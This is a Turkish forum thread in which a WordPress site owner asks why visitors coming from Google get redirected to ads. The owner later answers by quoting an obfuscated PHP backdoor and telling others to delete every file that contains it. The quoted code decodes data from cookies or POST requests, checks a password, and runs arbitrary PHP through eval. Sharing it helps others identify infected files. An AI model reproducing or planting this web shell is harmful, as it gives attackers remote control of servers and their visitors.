Site reklama yönleniyor

Wordpress tabanlı bir web sitesi kullanıyorum. Siteyi google üzerinden ilk kez tıklandığımda reklam açılıyor tekrar arama yapıp tıkladığımda yönlenmiyor.

Daha önce böyle birşeyle karşılaşan varmı? Sorun sunucumda olabilirmi? Yoksa yazılımsalmı? Eğer yazılımsal ise hangi dosyaları kontrol etmeliyim. Eklentileri kontrol ettim. Herhangi bir ip ucu bulamadım.

İsterseniz ücretli yardımcı olup sorunu çözebiliriz.

Hocam ben sorunun nedenini öğrenmek istiyorum. Öğrenmek amaçlı yazdım. Belki aynı sorunu yaşayan arkadaşlara da ışık tutar diye konu açtım. Yine de teşekkür ederim alakanız için.

Site adresini verirmisiniz

http://www.evdeneveplus.com

--R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 22:14:45 -->-> Daha önceki mesaj 21:51:24 --

Arkadaşlar aynı sorunu yaşayan varsa sorunun çözümü için yazıyorum
Aha da bu kodu gördüğünüz dosyaların tamamını silin.

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['ga722'] = "\x5e\x46\x6f\x7e\x57\x3c\x5d\x73\x44\x61\x47\x38\ x60\x2f\x29\x7b\x2b\x67\x6e\x7c\x25\x3d\x37\x3e\x3 0\x21\x7d\x28\x6b\x4a\x6d\x51\x3a\x9\x4c\x4e\x5f\x 5a\x36\x4f\x76\x74\x71\x7a\x4b\x6a\x70\x62\x3b\x34 \x26\x45\x64\x43\x48\x5c\x42\x33\x59\x6c\xd\x53\x6 3\x50\x20\x5b\x78\x49\x79\x39\x56\x66\x52\x68\x3f\ x41\x55\xa\x32\x2c\x2d\x22\x2e\x75\x23\x72\x77\x24 \x65\x54\x2a\x35\x69\x27\x40\x58\x4d\x31";
$GLOBALS[$GLOBALS['ga722'][28].$GLOBALS['ga722'][52].$GLOBALS['ga722'][71].$GLOBALS['ga722'][49].$GLOBALS['ga722'][49].$GLOBALS['ga722'][38].$GLOBALS['ga722'][9].$GLOBALS['ga722'][88]] = $GLOBALS['ga722'][62].$GLOBALS['ga722'][73].$GLOBALS['ga722'][85];
$GLOBALS[$GLOBALS['ga722'][7].$GLOBALS['ga722'][62].$GLOBALS['ga722'][47].$GLOBALS['ga722'][38].$GLOBALS['ga722'][9].$GLOBALS['ga722'][69]] = $GLOBALS['ga722'][2].$GLOBALS['ga722'][85].$GLOBALS['ga722'][52];
$GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][97].$GLOBALS['ga722'][24].$GLOBALS['ga722'][62]] = $GLOBALS['ga722'][7].$GLOBALS['ga722'][41].$GLOBALS['ga722'][85].$GLOBALS['ga722'][59].$GLOBALS['ga722'][88].$GLOBALS['ga722'][18];
$GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][49].$GLOBALS['ga722'][52].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][49].$GLOBALS['ga722'][91]] = $GLOBALS['ga722'][92].$GLOBALS['ga722'][18].$GLOBALS['ga722'][92].$GLOBALS['ga722'][36].$GLOBALS['ga722'][7].$GLOBALS['ga722'][88].$GLOBALS['ga722'][41];
$GLOBALS[$GLOBALS['ga722'][7].$GLOBALS['ga722'][47].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][24].$GLOBALS['ga722'][88].$GLOBALS['ga722'][47].$GLOBALS['ga722'][57]] = $GLOBALS['ga722'][7].$GLOBALS['ga722'][88].$GLOBALS['ga722'][85].$GLOBALS['ga722'][92].$GLOBALS['ga722'][9].$GLOBALS['ga722'][59].$GLOBALS['ga722'][92].$GLOBALS['ga722'][43].$GLOBALS['ga722'][88];
$GLOBALS[$GLOBALS['ga722'][9].$GLOBALS['ga722'][38].$GLOBALS['ga722'][57].$GLOBALS['ga722'][62].$GLOBALS['ga722'][11].$GLOBALS['ga722'][71]] = $GLOBALS['ga722'][46].$GLOBALS['ga722'][73].$GLOBALS['ga722'][46].$GLOBALS['ga722'][40].$GLOBALS['ga722'][88].$GLOBALS['ga722'][85].$GLOBALS['ga722'][7].$GLOBALS['ga722'][92].$GLOBALS['ga722'][2].$GLOBALS['ga722'][18];
$GLOBALS[$GLOBALS['ga722'][85].$GLOBALS['ga722'][9].$GLOBALS['ga722'][24].$GLOBALS['ga722'][49].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][57]] = $GLOBALS['ga722'][83].$GLOBALS['ga722'][18].$GLOBALS['ga722'][7].$GLOBALS['ga722'][88].$GLOBALS['ga722'][85].$GLOBALS['ga722'][92].$GLOBALS['ga722'][9].$GLOBALS['ga722'][59].$GLOBALS['ga722'][92].$GLOBALS['ga722'][43].$GLOBALS['ga722'][88];
$GLOBALS[$GLOBALS['ga722'][66].$GLOBALS['ga722'][88].$GLOBALS['ga722'][47].$GLOBALS['ga722'][62].$GLOBALS['ga722'][57].$GLOBALS['ga722'][9].$GLOBALS['ga722'][22].$GLOBALS['ga722'][24]] = $GLOBALS['ga722'][47].$GLOBALS['ga722'][9].$GLOBALS['ga722'][7].$GLOBALS['ga722'][88].$GLOBALS['ga722'][38].$GLOBALS['ga722'][49].$GLOBALS['ga722'][36].$GLOBALS['ga722'][52].$GLOBALS['ga722'][88].$GLOBALS['ga722'][62].$GLOBALS['ga722'][2].$GLOBALS['ga722'][52].$GLOBALS['ga722'][88];
$GLOBALS[$GLOBALS['ga722'][52].$GLOBALS['ga722'][38].$GLOBALS['ga722'][78].$GLOBALS['ga722'][11].$GLOBALS['ga722'][97].$GLOBALS['ga722'][88].$GLOBALS['ga722'][9].$GLOBALS['ga722'][9]] = $GLOBALS['ga722'][7].$GLOBALS['ga722'][88].$GLOBALS['ga722'][41].$GLOBALS['ga722'][36].$GLOBALS['ga722'][41].$GLOBALS['ga722'][92].$GLOBALS['ga722'][30].$GLOBALS['ga722'][88].$GLOBALS['ga722'][36].$GLOBALS['ga722'][59].$GLOBALS['ga722'][92].$GLOBALS['ga722'][30].$GLOBALS['ga722'][92].$GLOBALS['ga722'][41];
$GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][71].$GLOBALS['ga722'][49].$GLOBALS['ga722'][22].$GLOBALS['ga722'][69].$GLOBALS['ga722'][9].$GLOBALS['ga722'][88].$GLOBALS['ga722'][38].$GLOBALS['ga722'][69]] = $GLOBALS['ga722'][18].$GLOBALS['ga722'][57].$GLOBALS['ga722'][38].$GLOBALS['ga722'][78].$GLOBALS['ga722'][52].$GLOBALS['ga722'][38].$GLOBALS['ga722'][71].$GLOBALS['ga722'][78];
$GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][22].$GLOBALS['ga722'][69].$GLOBALS['ga722'][22].$GLOBALS['ga722'][47].$GLOBALS['ga722'][91]] = $GLOBALS['ga722'][71].$GLOBALS['ga722'][11].$GLOBALS['ga722'][24].$GLOBALS['ga722'][71].$GLOBALS['ga722'][78].$GLOBALS['ga722'][57].$GLOBALS['ga722'][9].$GLOBALS['ga722'][78];
$GLOBALS[$GLOBALS['ga722'][40].$GLOBALS['ga722'][71].$GLOBALS['ga722'][97].$GLOBALS['ga722'][69].$GLOBALS['ga722'][91].$GLOBALS['ga722'][9].$GLOBALS['ga722'][22]] = $_POST;
$GLOBALS[$GLOBALS['ga722'][88].$GLOBALS['ga722'][62].$GLOBALS['ga722'][9].$GLOBALS['ga722'][11]] = $_COOKIE;
@$GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][49].$GLOBALS['ga722'][52].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][49].$GLOBALS['ga722'][91]]($GLOBALS['ga722'][88].$GLOBALS['ga722'][85].$GLOBALS['ga722'][85].$GLOBALS['ga722'][2].$GLOBALS['ga722'][85].$GLOBALS['ga722'][36].$GLOBALS['ga722'][59].$GLOBALS['ga722'][2].$GLOBALS['ga722'][17], NULL);

@$GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][49].$GLOBALS['ga722'][52].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][49].$GLOBALS['ga722'][91]]($GLOBALS['ga722'][59].$GLOBALS['ga722'][2].$GLOBALS['ga722'][17].$GLOBALS['ga722'][36].$GLOBALS['ga722'][88].$GLOBALS['ga722'][85].$GLOBALS['ga722'][85].$GLOBALS['ga722'][2].$GLOBALS['ga722'][85].$GLOBALS['ga722'][7], 0);

@$GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][49].$GLOBALS['ga722'][52].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][49].$GLOBALS['ga722'][91]]($GLOBALS['ga722'][30].$GLOBALS['ga722'][9].$GLOBALS['ga722'][66].$GLOBALS['ga722'][36].$GLOBALS['ga722'][88].$GLOBALS['ga722'][66].$GLOBALS['ga722'][88].$GLOBALS['ga722'][62].$GLOBALS['ga722'][83].$GLOBALS['ga722'][41].$GLOBALS['ga722'][92].$GLOBALS['ga722'][2].$GLOBALS['ga722'][18].$GLOBALS['ga722'][36].$GLOBALS['ga722'][41].$GLOBALS['ga722'][92].$GLOBALS['ga722'][30].$GLOBALS['ga722'][88], 0);

@$GLOBALS[$GLOBALS['ga722'][52].$GLOBALS['ga722'][38].$GLOBALS['ga722'][78].$GLOBALS['ga722'][11].$GLOBALS['ga722'][97].$GLOBALS['ga722'][88].$GLOBALS['ga722'][9].$GLOBALS['ga722'][9]](0);



$kdd894920 = NULL;

$zda81fa94 = NULL;



$GLOBALS[$GLOBALS['ga722'][41].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][69].$GLOBALS['ga722'][62].$GLOBALS['ga722'][38].$GLOBALS['ga722'][71]] = $GLOBALS['ga722'][69].$GLOBALS['ga722'][71].$GLOBALS['ga722'][62].$GLOBALS['ga722'][88].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][71].$GLOBALS['ga722'][62].$GLOBALS['ga722'][80].$GLOBALS['ga722'][38].$GLOBALS['ga722'][62].$GLOBALS['ga722'][69].$GLOBALS['ga722'][88].$GLOBALS['ga722'][80].$GLOBALS['ga722'][49].$GLOBALS['ga722'][78].$GLOBALS['ga722'][62].$GLOBALS['ga722'][71].$GLOBALS['ga722'][80].$GLOBALS['ga722'][69].$GLOBALS['ga722'][97].$GLOBALS['ga722'][47].$GLOBALS['ga722'][78].$GLOBALS['ga722'][80].$GLOBALS['ga722'][91].$GLOBALS['ga722'][78].$GLOBALS['ga722'][11].$GLOBALS['ga722'][71].$GLOBALS['ga722'][9].$GLOBALS['ga722'][78].$GLOBALS['ga722'][88].$GLOBALS['ga722'][38].$GLOBALS['ga722'][91].$GLOBALS['ga722'][52].$GLOBALS['ga722'][22].$GLOBALS['ga722'][78];

global $t029c6f;



function f80f23a2($kdd894920, $q612dc00c)

{

$aa57a964 = "";



for ($q563=0; $q563<$GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][97].$GLOBALS['ga722'][24].$GLOBALS['ga722'][62]]($kdd894920)

{

for ($n331fb6=0; $n331fb6<$GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][97].$GLOBALS['ga722'][24].$GLOBALS['ga722'][62]]($q612dc00c) && $q563<$GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][97].$GLOBALS['ga722'][24].$GLOBALS['ga722'][62]]($kdd894920); $n331fb6++, $q563++)

{

$aa57a964 .= $GLOBALS[$GLOBALS['ga722'][28].$GLOBALS['ga722'][52].$GLOBALS['ga722'][71].$GLOBALS['ga722'][49].$GLOBALS['ga722'][49].$GLOBALS['ga722'][38].$GLOBALS['ga722'][9].$GLOBALS['ga722'][88]]($GLOBALS[$GLOBALS['ga722'][7].$GLOBALS['ga722'][62].$GLOBALS['ga722'][47].$GLOBALS['ga722'][38].$GLOBALS['ga722'][9].$GLOBALS['ga722'][69]]($kdd894920[$q563]) ^ $GLOBALS[$GLOBALS['ga722'][7].$GLOBALS['ga722'][62].$GLOBALS['ga722'][47].$GLOBALS['ga722'][38].$GLOBALS['ga722'][9].$GLOBALS['ga722'][69]]($q612dc00c[$n331fb6]));

}

}



return $aa57a964;

}



function n362d6f2($kdd894920, $q612dc00c)

{

global $t029c6f;



return $GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][22].$GLOBALS['ga722'][69].$GLOBALS['ga722'][22].$GLOBALS['ga722'][47].$GLOBALS['ga722'][91]]($GLOBALS[$GLOBALS['ga722'][30].$GLOBALS['ga722'][22].$GLOBALS['ga722'][69].$GLOBALS['ga722'][22].$GLOBALS['ga722'][47].$GLOBALS['ga722'][91]]($kdd894920, $t029c6f), $q612dc00c);

}



foreach ($GLOBALS[$GLOBALS['ga722'][88].$GLOBALS['ga722'][62].$GLOBALS['ga722'][9].$GLOBALS['ga722'][11]] as $q612dc00c=>$s335990c)

{

$kdd894920 = $s335990c;

$zda81fa94 = $q612dc00c;

}



if (!$kdd894920)

{

foreach ($GLOBALS[$GLOBALS['ga722'][40].$GLOBALS['ga722'][71].$GLOBALS['ga722'][97].$GLOBALS['ga722'][69].$GLOBALS['ga722'][91].$GLOBALS['ga722'][9].$GLOBALS['ga722'][22]] as $q612dc00c=>$s335990c)

{

$kdd894920 = $s335990c;

$zda81fa94 = $q612dc00c;

}

}



$kdd894920 = @$GLOBALS[$GLOBALS['ga722'][85].$GLOBALS['ga722'][9].$GLOBALS['ga722'][24].$GLOBALS['ga722'][49].$GLOBALS['ga722'][24].$GLOBALS['ga722'][78].$GLOBALS['ga722'][57]]($GLOBALS[$GLOBALS['ga722'][45].$GLOBALS['ga722'][71].$GLOBALS['ga722'][49].$GLOBALS['ga722'][22].$GLOBALS['ga722'][69].$GLOBALS['ga722'][9].$GLOBALS['ga722'][88].$GLOBALS['ga722'][38].$GLOBALS['ga722'][69]]($GLOBALS[$GLOBALS['ga722'][66].$GLOBALS['ga722'][88].$GLOBALS['ga722'][47].$GLOBALS['ga722'][62].$GLOBALS['ga722'][57].$GLOBALS['ga722'][9].$GLOBALS['ga722'][22].$GLOBALS['ga722'][24]]($kdd894920), $zda81fa94));

if (isset($kdd894920[$GLOBALS['ga722'][9].$GLOBALS['ga722'][28]]) && $t029c6f==$kdd894920[$GLOBALS['ga722'][9].$GLOBALS['ga722'][28]])

{

if ($kdd894920[$GLOBALS['ga722'][9]] == $GLOBALS['ga722'][92])

{

$q563 = Array(

$GLOBALS['ga722'][46].$GLOBALS['ga722'][40] => @$GLOBALS[$GLOBALS['ga722'][9].$GLOBALS['ga722'][38].$GLOBALS['ga722'][57].$GLOBALS['ga722'][62].$GLOBALS['ga722'][11].$GLOBALS['ga722'][71]](),

$GLOBALS['ga722'][7].$GLOBALS['ga722'][40] => $GLOBALS['ga722'][97].$GLOBALS['ga722'][82].$GLOBALS['ga722'][24].$GLOBALS['ga722'][80].$GLOBALS['ga722'][97],

);

echo @$GLOBALS[$GLOBALS['ga722'][7].$GLOBALS['ga722'][47].$GLOBALS['ga722'][71].$GLOBALS['ga722'][91].$GLOBALS['ga722'][24].$GLOBALS['ga722'][88].$GLOBALS['ga722'][47].$GLOBALS['ga722'][57]]($q563);

}

elseif ($kdd894920[$GLOBALS['ga722'][9]] == $GLOBALS['ga722'][88])

{

eval($kdd894920[$GLOBALS['ga722'][52]]);

}

exit();

}